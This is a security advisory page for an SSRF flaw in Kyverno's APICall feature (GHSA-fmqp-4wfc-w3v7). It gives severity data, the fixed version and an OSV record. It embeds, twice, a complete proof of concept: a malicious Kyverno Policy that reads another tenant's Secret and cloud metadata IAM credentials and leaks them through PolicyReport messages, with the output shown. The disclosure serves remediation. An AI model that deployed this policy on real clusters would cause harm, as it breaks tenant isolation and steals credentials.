GHSA-fmqp-4wfc-w3v7: Github.com/kyverno/kyverno Kyverno APICall SSRF Vulnerability Leading Vulnerability

HIGH
CVSS 7.7
CWE-918
Published
Advisory Summary

GHSA-fmqp-4wfc-w3v7 is a HIGH (CVSS 7.7) kyverno apicall ssrf vulnerability leading vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno apicall ssrf vulnerability leading to multi-tenant isolation breach. Remediation is available by upgrading affected packages to version 1.16.2.

GHSA-fmqp-4wfc-w3v7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-fmqp-4wfc-w3v7
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/kyverno/kyverno
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-fmqp-4wfc-w3v7

To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/kyverno fixed: 1.16.2
Upgrade github.com/kyverno/kyverno to 1.16.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/kyverno

How to Check if You Are Affected

To determine whether your application is affected by GHSA-fmqp-4wfc-w3v7, inspect your project dependencies for Github.com/kyverno/kyverno:

inspect dependencies for github.com/kyverno/kyverno

Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.16.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Kyverno's APICall feature contains a Server-Side Request Forgery (SSRF) vulnerability that allows users with Policy creation permissions to access arbitrary internal resources through Kyverno's high-privilege ServiceAccount. In multi-tenant Kubernetes environments, this constitutes a classic Confused Deputy problem: low-privilege tenants can steal sensitive data from other tenants (such as database passwords and API keys) and cloud platform IAM credentials, completely breaking tenant isolation. This vulnerability does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions. ### Details #### Vulnerability Mechanism Kyverno's APICall feature allows Policies to fetch external data via HTTP requests. This feature does not validate target URLs when executing HTTP requests, leading to an SSRF vulnerability. **Source Point - User-Controlled URL** File: `api/kyverno/v1/common_types.go`, lines 247-250 ```go type ServiceCall struct { // URL is the JSON web service URL URL string `json:"url"` // User-controlled, no validation Headers []HTTPHeader `json:"headers,omitempty"` CABundle string `json:"caBundle,omitempty"` } ``` The URL field is completely controlled by users through Policy configuration, with no validation mechanism to restrict target addresses. **Sink Point - HTTP Request Execution** File: `pkg/engine/apicall/executor.go`, lines 65-110 ```go func (a *executor) executeServiceCall(ctx context.Context, apiCall *kyvernov1.APICall) ([]byte, error) { if apiCall.Service == nil { return nil, fmt.Errorf("missing service for APICall %s", [a.name](http://a.name/)) } client, err := a.buildHTTPClient(apiCall.Service) if err != nil { return nil, err } req, err := a.buildHTTPRequest(ctx, apiCall) if err != nil { return nil, fmt.Errorf("failed to build HTTP request for APICall %s: %w", [a.name](http://a.name/), err) } // Line 80: Directly executes HTTP request without URL validation resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf("failed to execute HTTP request for APICall %s: %w", [a.name](http://a.name/), err) } defer resp.Body.Close() // Read and return response content body, err := io.ReadAll(resp.Body) if err != nil { // ... } return body, nil } ``` Line 80's `client.Do(req)` directly executes the HTTP request without checking if the target URL is an internal IP address (like 169.254.169.254) or resources belonging to other tenants. **Confused Deputy Problem** In multi-tenant environments, Kyverno uses a cluster-wide high-privilege ServiceAccount to execute all APICall requests. When a low-privilege tenant creates a Policy containing malicious APICall directives, Kyverno executes these requests with its own high privileges, leading to privilege escalation. Attack path: ``` Tenant A (namespace-level permissions) → Creates malicious Policy → Kyverno (cluster-wide high privileges) → Accesses Tenant B's Secrets / Cloud metadata service → Sensitive data leaked to PolicyReport → Tenant A reads PolicyReport to obtain data ``` ### PoC #### Environment Setup **Prerequisites** - Kubernetes cluster - Kyverno v1.16.0 installed - Mock cloud metadata service (optional, for testing cloud credential theft) **Step 1: Install Kyverno** ```bash kubectl create namespace kyverno kubectl create -f https://github.com/kyverno/kyverno/releases/download/v1.16.0/install.yaml kubectl wait --for=condition=Ready pods --all -n kyverno --timeout=300s ``` Verify installation: ```bash $ kubectl get pods -n kyverno NAME READY STATUS RESTARTS AGE kyverno-admission-controller-5c84845f5-28hz5 1/1 Running 0 2m kyverno-background-controller-59b7b8d686-7pqxl 1/1 Running 0 2m kyverno-cleanup-controller-5fd988d64f-nsgdb 1/1 Running 0 2m kyverno-reports-controller-546cb78fbc-2dd74 1/1 Running 0 2m ``` **Step 2: Deploy Mock Metadata Service** Create file `metadata-mock.yaml`: ```yaml apiVersion: v1 kind: Namespace metadata: name: metadata-mock --- apiVersion: apps/v1 kind: Deployment metadata: name: metadata-mock namespace: metadata-mock spec: replicas: 1 selector: matchLabels: app: metadata-mock template: metadata: labels: app: metadata-mock spec: containers: - name: mock-server image: python:3.9-slim command: ["python", "-c"] args: - | import http.server import socketserver import json class Handler(http.server.SimpleHTTPRequestHandler): def do_GET(self): if 'iam/security-credentials/test-role' in self.path: self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() creds = { "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "Token": "SimulatedSessionToken123456", "Expiration": "2025-12-31T23:59:59Z" } self.wfile.write(json.dumps(creds).encode()) else: self.send_response(404) self.end_headers() with socketserver.TCPServer(("", 80), Handler) as httpd: httpd.serve_forever() ports: - containerPort: 80 --- apiVersion: v1 kind: Service metadata: name: metadata-mock namespace: metadata-mock spec: selector: app: metadata-mock ports: - port: 80 targetPort: 80 ``` Deploy: ```bash kubectl apply -f metadata-mock.yaml kubectl wait --for=condition=Ready pods --all -n metadata-mock --timeout=120s ``` **Step 3: Create Multi-Tenant Environment** Create two tenant namespaces: ```bash kubectl create namespace tenant-a kubectl create namespace tenant-b ``` Create sensitive data in tenant-b: ```bash kubectl create secret generic db-credentials -n tenant-b \ --from-literal=username=admin \ --from-literal=password=SuperSecret123! \ --from-literal=database=production-db ``` Create restricted ServiceAccount for tenant-a: ```bash kubectl create serviceaccount tenant-a-admin -n tenant-a ``` Create file `tenant-a-rbac.yaml`: ```yaml apiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1) kind: Role metadata: name: policy-creator namespace: tenant-a rules: - apiGroups: ["[kyverno.io](http://kyverno.io/)"] resources: ["policies"] verbs: ["create", "get", "list", "update", "patch", "delete"] - apiGroups: [""] resources: ["configmaps"] verbs: ["create", "get", "list"] - apiGroups: ["[wgpolicyk8s.io](http://wgpolicyk8s.io/)"] resources: ["policyreports"] verbs: ["get", "list"] --- apiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1) kind: RoleBinding metadata: name: tenant-a-policy-creator namespace: tenant-a roleRef: apiGroup: [rbac.authorization.k8s.io](http://rbac.authorization.k8s.io/) kind: Role name: policy-creator subjects: - kind: ServiceAccount name: tenant-a-admin namespace: tenant-a ``` Apply configuration: ```bash kubectl apply -f tenant-a-rbac.yaml ``` **Step 4: Verify Permission Isolation** Create test Pod: ```bash kubectl run tenant-a-test -n tenant-a \ --image=bitnami/kubectl:latest \ --serviceaccount=tenant-a-admin \ --command -- sleep 3600 ``` Verify tenant-a cannot directly access tenant-b: ```bash $ kubectl exec -n tenant-a tenant-a-test -- kubectl get secrets -n tenant-b Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:tenant-a:tenant-a-admin" cannot list resource "secrets" in API group "" in the namespace "tenant-b" ``` This confirms that tenant-a's ServiceAccount indeed cannot directly access tenant-b's resources. #### Exploitation **Step 1: Create Malicious Policy** Create file `confused-deputy-attack.yaml`: ```yaml apiVersion: [kyverno.io/v1](http://kyverno.io/v1) kind: Policy metadata: name: confused-deputy-attack namespace: tenant-a spec: background: true validationFailureAction: Audit rules: - name: steal-tenant-b-secrets match: any: - resources: kinds: - ConfigMap context: - name: tenantBSecrets apiCall: method: GET urlPath: "/api/v1/namespaces/tenant-b/secrets/db-credentials" validate: message: "STOLEN TENANT-B SECRETS - Username: {{ tenantBSecrets.data.username | base64_decode(@) }}, Password: {{ tenantBSecrets.data.password | base64_decode(@) }}, Database: {{ tenantBSecrets.data.database | base64_decode(@) }}" pattern: metadata: labels: force-fail: "true" - name: steal-cloud-credentials match: any: - resources: kinds: - ConfigMap context: - name: cloudCreds apiCall: method: GET service: url: "http://metadata-mock.metadata-mock.svc.cluster.local/latest/meta-data/iam/security-credentials/test-role" validate: message: "STOLEN CLOUD CREDENTIALS - AccessKeyId: {{ cloudCreds.AccessKeyId }}, SecretAccessKey: {{ cloudCreds.SecretAccessKey }}" pattern: metadata: labels: force-fail-cloud: "true" ``` Apply Policy: ```bash $ kubectl apply -f confused-deputy-attack.yaml [policy.kyverno.io/confused-deputy-attack](http://policy.kyverno.io/confused-deputy-attack) created ``` **Step 2: Trigger Policy Execution** Create ConfigMap to trigger Policy: ```bash $ kubectl create configmap attack-trigger -n tenant-a --from-literal=trigger=now configmap/attack-trigger created ``` **Step 3: View Stolen Data** After a few seconds, check PolicyReport: ```bash $ kubectl get policyreport -n tenant-a -o yaml | grep -A 5 "STOLEN" ``` Actual output: ```yaml - message: 'validation error: STOLEN TENANT-B SECRETS - Username: admin, Password: SuperSecret123!, Database: production-db. rule steal-tenant-b-secrets failed at path /metadata/labels/' policy: tenant-a/confused-deputy-attack result: fail rule: steal-tenant-b-secrets -- - message: 'validation error: STOLEN CLOUD CREDENTIALS - AccessKeyId: AKIAIOSFODNN7EXAMPLE, SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY. rule steal-cloud-credentials failed at path /metadata/labels/' policy: tenant-a/confused-deputy-attack result: fail rule: steal-cloud-credentials ``` Attack successful. Tenant-a has stolen through Kyverno: 1. Tenant-b's database credentials (username: admin, password: SuperSecret123!, database: production-db) 2. Cloud platform IAM credentials (AccessKeyId and SecretAccessKey) **Step 4: Verify Kyverno Logs** Check Kyverno admission controller logs: ```bash $ kubectl logs -n kyverno deployment/kyverno-admission-controller --tail=100 | grep -i "apicall" 2026-01-06T14:40:34Z INFO DefaultContextLoaderFactory apicall/apiCall.go:151 executed service APICall {"name": "cloudCredentials", "len": 180} ``` Logs show APICall executed successfully, returning 180 bytes of data (exactly the JSON length of the mock credentials). ### Impact This is a critical security vulnerability with particularly severe impact in multi-tenant Kubernetes environments. **Affected Environments** - All multi-tenant Kubernetes clusters using Kyverno - Environments granting users namespace-level Policy creation permissions - Clusters running on cloud platforms (AWS EKS, GCP GKE, Azure AKS) **Vulnerability Impact** 1. Complete Multi-Tenant Isolation Breach - Tenants can read other tenants' Secrets (database passwords, API keys, etc.) - Tenants can access other tenants' ConfigMaps and other resources - Completely violates security assumptions of multi-tenant environments 2. Cloud Platform Credential Leakage - Can access cloud metadata service (169.254.169.254) - Obtain node IAM role credentials - Use these credentials to access cloud platform resources (S3, RDS, GCS, etc.) 3. Lateral Movement - Extend from Kubernetes cluster permissions to cloud platform resource access - Potentially access other tenants' cloud resources - Further penetration in cloud environments 4. Confused Deputy Problem - Low-privilege users leverage high-privilege proxy (Kyverno) to execute privileged operations - Bypass RBAC permission controls - Difficult to trace actual attackers through audit logs **Severity Assessment** - CVSS 3.1 Score: 8.5 (Critical) - CWE Classification: CWE-918 (Server-Side Request Forgery) In multi-tenant environments, the severity of this vulnerability is much higher than in single-tenant environments because it does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions. **Real-World Scenario Risks** Scenario 1: SaaS Multi-Tenant Platform - Each customer has one namespace - Customer A can steal Customer B's database passwords and API keys - Leads to data breaches, compliance violations, loss of customer trust Scenario 2: Enterprise Internal Multi-Team Shared Cluster - Different business teams share one Kubernetes cluster - Team A can steal Team B's production database credentials - Leads to internal data breaches, production incidents Scenario 3: Cloud Platform Managed Kubernetes - Running on AWS EKS, GCP GKE, Azure AKS - Tenants can obtain node IAM role credentials - Access cloud platform resources, lateral movement to cloud environment **Remediation Recommendations** Immediate measures: 1. Disable APICall feature in multi-tenant environments 2. Restrict Policy creation permissions to cluster-admin only 3. Use NetworkPolicy to restrict Kyverno Pod egress traffic Long-term fixes: 1. Add URL validation in executeServiceCall function to block internal IP addresses 2. Use separate low-privilege ServiceAccount for APICall 3. Implement URL whitelist mechanism 4. Audit and monitor all APICall requests

GHSA-fmqp-4wfc-w3v7 Affected Github.com/kyverno/kyverno Versions

1 component(s)
Fixed Versions:
1.16.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/kyverno
Go
< 1.16.2
1.16.2

References

Frequently Asked Questions

What is GHSA-fmqp-4wfc-w3v7?
GHSA-fmqp-4wfc-w3v7 is a security vulnerability in Github.com/kyverno/kyverno involving Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/kyverno/kyverno versions are affected?
Affected versions include releases prior to 1.16.2 across affected packages: github.com/kyverno/kyverno.
What version fixes GHSA-fmqp-4wfc-w3v7?
Upgrading to 1.16.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/kyverno affected?
Yes, github.com/kyverno/kyverno is affected in releases prior to 1.16.2. Upgrade your dependency to 1.16.2 or later.
What is the CVSS score of GHSA-fmqp-4wfc-w3v7?
GHSA-fmqp-4wfc-w3v7 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with GHSA-fmqp-4wfc-w3v7?
GHSA-fmqp-4wfc-w3v7 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for GHSA-fmqp-4wfc-w3v7?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/kyverno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fmqp-4wfc-w3v7",
  "modified" : "2026-04-14T20:06:09Z",
  "published" : "2026-04-14T20:06:09Z",
  "aliases" : [ ],
  "summary" : "Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach",
  "details" : "### Summary\n\nKyverno's APICall feature contains a Server-Side Request Forgery (SSRF) vulnerability that allows users with Policy creation permissions to access arbitrary internal resources through Kyverno's high-privilege ServiceAccount. In multi-tenant Kubernetes environments, this constitutes a classic Confused Deputy problem: low-privilege tenants can steal sensitive data from other tenants (such as database passwords and API keys) and cloud platform IAM credentials, completely breaking tenant isolation. This vulnerability does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.\n\n### Details\n\n#### Vulnerability Mechanism\n\nKyverno's APICall feature allows Policies to fetch external data via HTTP requests. This feature does not validate target URLs when executing HTTP requests, leading to an SSRF vulnerability.\n\n**Source Point - User-Controlled URL**\n\nFile: `api/kyverno/v1/common_types.go`, lines 247-250\n\n```go\ntype ServiceCall struct {\n    // URL is the JSON web service URL\n    URL string `json:\"url\"`  // User-controlled, no validation\n    Headers []HTTPHeader `json:\"headers,omitempty\"`\n    CABundle string `json:\"caBundle,omitempty\"`\n}\n```\n\nThe URL field is completely controlled by users through Policy configuration, with no validation mechanism to restrict target addresses.\n\n**Sink Point - HTTP Request Execution**\n\nFile: `pkg/engine/apicall/executor.go`, lines 65-110\n\n```go\nfunc (a *executor) executeServiceCall(ctx context.Context, apiCall *kyvernov1.APICall) ([]byte, error) {\n    if apiCall.Service == nil {\n        return nil, fmt.Errorf(\"missing service for APICall %s\", [a.name](http://a.name/))\n    }\n\n    client, err := a.buildHTTPClient(apiCall.Service)\n    if err != nil {\n        return nil, err\n    }\n\n    req, err := a.buildHTTPRequest(ctx, apiCall)\n    if err != nil {\n        return nil, fmt.Errorf(\"failed to build HTTP request for APICall %s: %w\", [a.name](http://a.name/), err)\n    }\n\n    // Line 80: Directly executes HTTP request without URL validation\n    resp, err := client.Do(req)\n    if err != nil {\n        return nil, fmt.Errorf(\"failed to execute HTTP request for APICall %s: %w\", [a.name](http://a.name/), err)\n    }\n    defer resp.Body.Close()\n\n    // Read and return response content\n    body, err := io.ReadAll(resp.Body)\n    if err != nil {\n        // ...\n    }\n\n    return body, nil\n}\n```\n\nLine 80's `client.Do(req)` directly executes the HTTP request without checking if the target URL is an internal IP address (like 169.254.169.254) or resources belonging to other tenants.\n\n**Confused Deputy Problem**\n\nIn multi-tenant environments, Kyverno uses a cluster-wide high-privilege ServiceAccount to execute all APICall requests. When a low-privilege tenant creates a Policy containing malicious APICall directives, Kyverno executes these requests with its own high privileges, leading to privilege escalation.\n\nAttack path:\n```\nTenant A (namespace-level permissions)\n  → Creates malicious Policy\n  → Kyverno (cluster-wide high privileges)\n  → Accesses Tenant B's Secrets / Cloud metadata service\n  → Sensitive data leaked to PolicyReport\n  → Tenant A reads PolicyReport to obtain data\n```\n\n### PoC\n\n#### Environment Setup\n\n**Prerequisites**\n- Kubernetes cluster \n- Kyverno v1.16.0 installed\n- Mock cloud metadata service (optional, for testing cloud credential theft)\n\n**Step 1: Install Kyverno**\n\n```bash\nkubectl create namespace kyverno\nkubectl create -f https://github.com/kyverno/kyverno/releases/download/v1.16.0/install.yaml\nkubectl wait --for=condition=Ready pods --all -n kyverno --timeout=300s\n```\n\nVerify installation:\n```bash\n$ kubectl get pods -n kyverno\nNAME                                             READY   STATUS    RESTARTS   AGE\nkyverno-admission-controller-5c84845f5-28hz5     1/1     Running   0          2m\nkyverno-background-controller-59b7b8d686-7pqxl   1/1     Running   0          2m\nkyverno-cleanup-controller-5fd988d64f-nsgdb      1/1     Running   0          2m\nkyverno-reports-controller-546cb78fbc-2dd74      1/1     Running   0          2m\n```\n\n**Step 2: Deploy Mock Metadata Service**\n\nCreate file `metadata-mock.yaml`:\n\n```yaml\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: metadata-mock\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: metadata-mock\n  namespace: metadata-mock\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: metadata-mock\n  template:\n    metadata:\n      labels:\n        app: metadata-mock\n    spec:\n      containers:\n      - name: mock-server\n        image: python:3.9-slim\n        command: [\"python\", \"-c\"]\n        args:\n        - |\n          import http.server\n          import socketserver\n          import json\n\n          class Handler(http.server.SimpleHTTPRequestHandler):\n              def do_GET(self):\n                  if 'iam/security-credentials/test-role' in self.path:\n                      self.send_response(200)\n                      self.send_header('Content-type', 'application/json')\n                      self.end_headers()\n                      creds = {\n                          \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n                          \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n                          \"Token\": \"SimulatedSessionToken123456\",\n                          \"Expiration\": \"2025-12-31T23:59:59Z\"\n                      }\n                      self.wfile.write(json.dumps(creds).encode())\n                  else:\n                      self.send_response(404)\n                      self.end_headers()\n\n          with socketserver.TCPServer((\"\", 80), Handler) as httpd:\n              httpd.serve_forever()\n        ports:\n        - containerPort: 80\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: metadata-mock\n  namespace: metadata-mock\nspec:\n  selector:\n    app: metadata-mock\n  ports:\n  - port: 80\n    targetPort: 80\n```\n\nDeploy:\n```bash\nkubectl apply -f metadata-mock.yaml\nkubectl wait --for=condition=Ready pods --all -n metadata-mock --timeout=120s\n```\n\n**Step 3: Create Multi-Tenant Environment**\n\nCreate two tenant namespaces:\n```bash\nkubectl create namespace tenant-a\nkubectl create namespace tenant-b\n```\n\nCreate sensitive data in tenant-b:\n```bash\nkubectl create secret generic db-credentials -n tenant-b \\\n  --from-literal=username=admin \\\n  --from-literal=password=SuperSecret123! \\\n  --from-literal=database=production-db\n```\n\nCreate restricted ServiceAccount for tenant-a:\n```bash\nkubectl create serviceaccount tenant-a-admin -n tenant-a\n```\n\nCreate file `tenant-a-rbac.yaml`:\n```yaml\napiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)\nkind: Role\nmetadata:\n  name: policy-creator\n  namespace: tenant-a\nrules:\n- apiGroups: [\"[kyverno.io](http://kyverno.io/)\"]\n  resources: [\"policies\"]\n  verbs: [\"create\", \"get\", \"list\", \"update\", \"patch\", \"delete\"]\n- apiGroups: [\"\"]\n  resources: [\"configmaps\"]\n  verbs: [\"create\", \"get\", \"list\"]\n- apiGroups: [\"[wgpolicyk8s.io](http://wgpolicyk8s.io/)\"]\n  resources: [\"policyreports\"]\n  verbs: [\"get\", \"list\"]\n---\napiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)\nkind: RoleBinding\nmetadata:\n  name: tenant-a-policy-creator\n  namespace: tenant-a\nroleRef:\n  apiGroup: [rbac.authorization.k8s.io](http://rbac.authorization.k8s.io/)\n  kind: Role\n  name: policy-creator\nsubjects:\n- kind: ServiceAccount\n  name: tenant-a-admin\n  namespace: tenant-a\n```\n\nApply configuration:\n```bash\nkubectl apply -f tenant-a-rbac.yaml\n```\n\n**Step 4: Verify Permission Isolation**\n\nCreate test Pod:\n```bash\nkubectl run tenant-a-test -n tenant-a \\\n  --image=bitnami/kubectl:latest \\\n  --serviceaccount=tenant-a-admin \\\n  --command -- sleep 3600\n```\n\nVerify tenant-a cannot directly access tenant-b:\n```bash\n$ kubectl exec -n tenant-a tenant-a-test -- kubectl get secrets -n tenant-b\nError from server (Forbidden): secrets is forbidden: User \"system:serviceaccount:tenant-a:tenant-a-admin\" cannot list resource \"secrets\" in API group \"\" in the namespace \"tenant-b\"\n```\n\nThis confirms that tenant-a's ServiceAccount indeed cannot directly access tenant-b's resources.\n\n#### Exploitation\n\n**Step 1: Create Malicious Policy**\n\nCreate file `confused-deputy-attack.yaml`:\n\n```yaml\napiVersion: [kyverno.io/v1](http://kyverno.io/v1)\nkind: Policy\nmetadata:\n  name: confused-deputy-attack\n  namespace: tenant-a\nspec:\n  background: true\n  validationFailureAction: Audit\n  rules:\n  - name: steal-tenant-b-secrets\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: tenantBSecrets\n      apiCall:\n        method: GET\n        urlPath: \"/api/v1/namespaces/tenant-b/secrets/db-credentials\"\n    validate:\n      message: \"STOLEN TENANT-B SECRETS - Username: {{ tenantBSecrets.data.username | base64_decode(@) }}, Password: {{ tenantBSecrets.data.password | base64_decode(@) }}, Database: {{ tenantBSecrets.data.database | base64_decode(@) }}\"\n      pattern:\n        metadata:\n          labels:\n            force-fail: \"true\"\n  - name: steal-cloud-credentials\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: cloudCreds\n      apiCall:\n        method: GET\n        service:\n          url: \"http://metadata-mock.metadata-mock.svc.cluster.local/latest/meta-data/iam/security-credentials/test-role\"\n    validate:\n      message: \"STOLEN CLOUD CREDENTIALS - AccessKeyId: {{ cloudCreds.AccessKeyId }}, SecretAccessKey: {{ cloudCreds.SecretAccessKey }}\"\n      pattern:\n        metadata:\n          labels:\n            force-fail-cloud: \"true\"\n```\n\nApply Policy:\n```bash\n$ kubectl apply -f confused-deputy-attack.yaml\n[policy.kyverno.io/confused-deputy-attack](http://policy.kyverno.io/confused-deputy-attack) created\n```\n\n**Step 2: Trigger Policy Execution**\n\nCreate ConfigMap to trigger Policy:\n```bash\n$ kubectl create configmap attack-trigger -n tenant-a --from-literal=trigger=now\nconfigmap/attack-trigger created\n```\n\n**Step 3: View Stolen Data**\n\nAfter a few seconds, check PolicyReport:\n```bash\n$ kubectl get policyreport -n tenant-a -o yaml | grep -A 5 \"STOLEN\"\n```\n\nActual output:\n```yaml\n- message: 'validation error: STOLEN TENANT-B SECRETS - Username: admin, Password:\n    SuperSecret123!, Database: production-db. rule steal-tenant-b-secrets failed\n    at path /metadata/labels/'\n  policy: tenant-a/confused-deputy-attack\n  result: fail\n  rule: steal-tenant-b-secrets\n--\n- message: 'validation error: STOLEN CLOUD CREDENTIALS - AccessKeyId: AKIAIOSFODNN7EXAMPLE,\n    SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY. rule steal-cloud-credentials\n    failed at path /metadata/labels/'\n  policy: tenant-a/confused-deputy-attack\n  result: fail\n  rule: steal-cloud-credentials\n```\n\nAttack successful. Tenant-a has stolen through Kyverno:\n1. Tenant-b's database credentials (username: admin, password: SuperSecret123!, database: production-db)\n2. Cloud platform IAM credentials (AccessKeyId and SecretAccessKey)\n\n**Step 4: Verify Kyverno Logs**\n\nCheck Kyverno admission controller logs:\n```bash\n$ kubectl logs -n kyverno deployment/kyverno-admission-controller --tail=100 | grep -i \"apicall\"\n2026-01-06T14:40:34Z INFO DefaultContextLoaderFactory apicall/apiCall.go:151 executed service APICall {\"name\": \"cloudCredentials\", \"len\": 180}\n```\n\nLogs show APICall executed successfully, returning 180 bytes of data (exactly the JSON length of the mock credentials).\n\n### Impact\n\nThis is a critical security vulnerability with particularly severe impact in multi-tenant Kubernetes environments.\n\n**Affected Environments**\n- All multi-tenant Kubernetes clusters using Kyverno\n- Environments granting users namespace-level Policy creation permissions\n- Clusters running on cloud platforms (AWS EKS, GCP GKE, Azure AKS)\n\n**Vulnerability Impact**\n\n1. Complete Multi-Tenant Isolation Breach\n   - Tenants can read other tenants' Secrets (database passwords, API keys, etc.)\n   - Tenants can access other tenants' ConfigMaps and other resources\n   - Completely violates security assumptions of multi-tenant environments\n\n2. Cloud Platform Credential Leakage\n   - Can access cloud metadata service (169.254.169.254)\n   - Obtain node IAM role credentials\n   - Use these credentials to access cloud platform resources (S3, RDS, GCS, etc.)\n\n3. Lateral Movement\n   - Extend from Kubernetes cluster permissions to cloud platform resource access\n   - Potentially access other tenants' cloud resources\n   - Further penetration in cloud environments\n\n4. Confused Deputy Problem\n   - Low-privilege users leverage high-privilege proxy (Kyverno) to execute privileged operations\n   - Bypass RBAC permission controls\n   - Difficult to trace actual attackers through audit logs\n\n**Severity Assessment**\n\n- CVSS 3.1 Score: 8.5 (Critical)\n- CWE Classification: CWE-918 (Server-Side Request Forgery)\n\n\nIn multi-tenant environments, the severity of this vulnerability is much higher than in single-tenant environments because it does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.\n\n**Real-World Scenario Risks**\n\nScenario 1: SaaS Multi-Tenant Platform\n- Each customer has one namespace\n- Customer A can steal Customer B's database passwords and API keys\n- Leads to data breaches, compliance violations, loss of customer trust\n\nScenario 2: Enterprise Internal Multi-Team Shared Cluster\n- Different business teams share one Kubernetes cluster\n- Team A can steal Team B's production database credentials\n- Leads to internal data breaches, production incidents\n\nScenario 3: Cloud Platform Managed Kubernetes\n- Running on AWS EKS, GCP GKE, Azure AKS\n- Tenants can obtain node IAM role credentials\n- Access cloud platform resources, lateral movement to cloud environment\n\n**Remediation Recommendations**\n\nImmediate measures:\n1. Disable APICall feature in multi-tenant environments\n2. Restrict Policy creation permissions to cluster-admin only\n3. Use NetworkPolicy to restrict Kyverno Pod egress traffic\n\nLong-term fixes:\n1. Add URL validation in executeServiceCall function to block internal IP addresses\n2. Use separate low-privilege ServiceAccount for APICall\n3. Implement URL whitelist mechanism\n4. Audit and monitor all APICall requests",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.16.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-fmqp-4wfc-w3v7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T20:06:09Z",
    "nvd_published_at" : null
  }
}